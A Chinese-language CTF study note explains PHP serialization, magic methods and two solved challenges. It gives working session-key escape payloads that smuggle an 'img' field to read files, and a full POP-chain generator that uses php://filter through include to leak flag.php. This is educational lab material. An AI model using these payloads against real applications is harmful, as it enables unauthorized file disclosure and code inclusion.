记一些CTF出现的序列化与反序列化的知识点和题目。
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值
i:100 i是数字
a | array数组 |
---|---|
b | boolean判断类型 |
d | double浮点数 |
i | integer整数型 |
o | common object 一般的对象 |
r | reference引用类型 |
s | string字符串类型 |
C | custom object |
O | class |
N | null |
R | pointer reference |
U | unicode string |
根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:%00*%00属性名
private属性被序列化的时候属性值会变成:%00类名%00属性名
就像这样
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
通常,做序列化题目,如果源码只是反序列化,一般是需要构造pop链为好,如果是由序列化又有反序列化,可能是序列化绕过
大概就是利用客户端可控参数,伪造成型的序列化结构,来挤出不需要的属性值
<?php
$function = @$_GET[‘f‘];
function filter($img){
$filter_arr = array(‘php‘,‘flag‘,‘php5‘,‘php4‘,‘fl1g‘);
$filter = ‘/‘.implode(‘|‘,$filter_arr).‘/i‘;
return preg_replace($filter,‘‘,$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = ‘guest‘;
$_SESSION[‘function‘] = $function;
extract($_POST);
if(!$function){
echo ‘<a href="index.php?f=highlight_file">source_code</a>‘;
}
if(!$_GET[‘img_path‘]){
$_SESSION[‘img‘] = base64_encode(‘guest_img.png‘);
}else{
$_SESSION[‘img‘] = sha1(base64_encode($_GET[‘img_path‘]));
}
$serialize_info = filter(serialize($_SESSION));
if($function == ‘highlight_file‘){
highlight_file(‘index.php‘);
}else if($function == ‘phpinfo‘){
eval(‘phpinfo();‘); //maybe you can find something in here!
}else if($function == ‘show_image‘){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo[‘img‘]));
}
第一种关键词增加(即词数增加)
第二种关键词减少(即词数减少)
还有一个层面的逃逸
键逃逸
这儿需要两个连续的键值对,由第一个的值覆盖第二个的键,这样第二个值就逃逸出去,单独作为一个键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image
值逃逸
这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
filter是个过滤函数,能够将黑名单的字符串删除,这就给了我们逃逸的机会
extract覆盖了两个属性,我们能够自定义属性,虽然控制不了img,但是就可以挤出他去
playload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是代码审计,要耐心,虽然耐心也不一定能成功
没啥条件,就看得出来他只给你留一条路,通过魔术方法的调用来实现引用
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file=‘index.php‘){
$this->source = $file;
echo ‘Welcome to ‘.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET[‘pop‘])){
@unserialize($_GET[‘pop‘]);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这种题的重点是在构建pop链上,只要将pop链构建好,直接贴playload就成功
但pop链怎么构造,需要审计,看哥哥方法之间的联系
就比如说,我们在这里能够最终得到flag的地方只有
public function append($value){
include($value);
}
这个include才行
那怎么到include,只有下面的invoke方法
public function __invoke(){
$this->append($this->var);
}
invoke是魔术方法,是将类当作函数使用的时候会自动调用
我们能将看到,在test类中有个function是被当作函数使用,所以我们可以赋给function modifier类
而function是p属性赋给的,所以我们赋给p属性modifer类
而调用get方法,需要在test类中调用不存在的属性或别的东西,所以我们可以借助show类中的$this->str->source
使str为test类,source属性不在test中存在,就可以调用get方法,
而如何调用tostring方法,只有在将类当作字符串使用时候,会自动调用tostring
我们可以借用wakeup中的preg_match函数,因为在进行比较的时候,会将$this->source当作字符串使用
那我们如何调用wakeup方法,只有在反序列化的时候会自动调用,所以我们就可以构建pop链了
<?php
class Modifier{
protected $var=‘php://filter/read=convert.base64-encode/resource=flag.php‘;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file=‘index.php‘){
$this->source = $file;
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$a=new Show();
$b=new Show();
$a->source=$b;
$a->source->str=new Test();
$a->source->str->p=new Modifier();
print(urlencode(serialize($a)));
构建完,将playload一贴就好了
问题源码:
#简化版:
<?php
class A {
protected $store;
protected $key;
protected $expire;
}
$a =new A();
$a->expire=0;
$a->key=‘nidaye.php‘;
问题报错形式:
Fatal error: Uncaught Error: Cannot access protected property A::$expire in D:\phpstudy_pro\WWW\new.php:102 Stack trace: #0 {main} thrown in D:\phpstudy_pro\WWW\new.php on line 102
原因:受保护的属性或方法不允许在外部调用
改进方法:在内部调用
<?php
class A {
protected $store;
protected $key;
protected $expire;
$this->expire=0;
$this->key=‘nidaye.php‘;
}
$a =new A();
构建逃逸playload时,用了单引号
问题描述:在进行逃逸时,使用了单引号作为序列化的闭合符号,结果不行,改成双引号就成功了
原因:不详
遇到private和protected
其实高版本的php对于属性类型并不敏感,所以即使用了public去构建序列化,也并无大碍
原文:https://www.cnblogs.com/sipc-love/p/14360204.html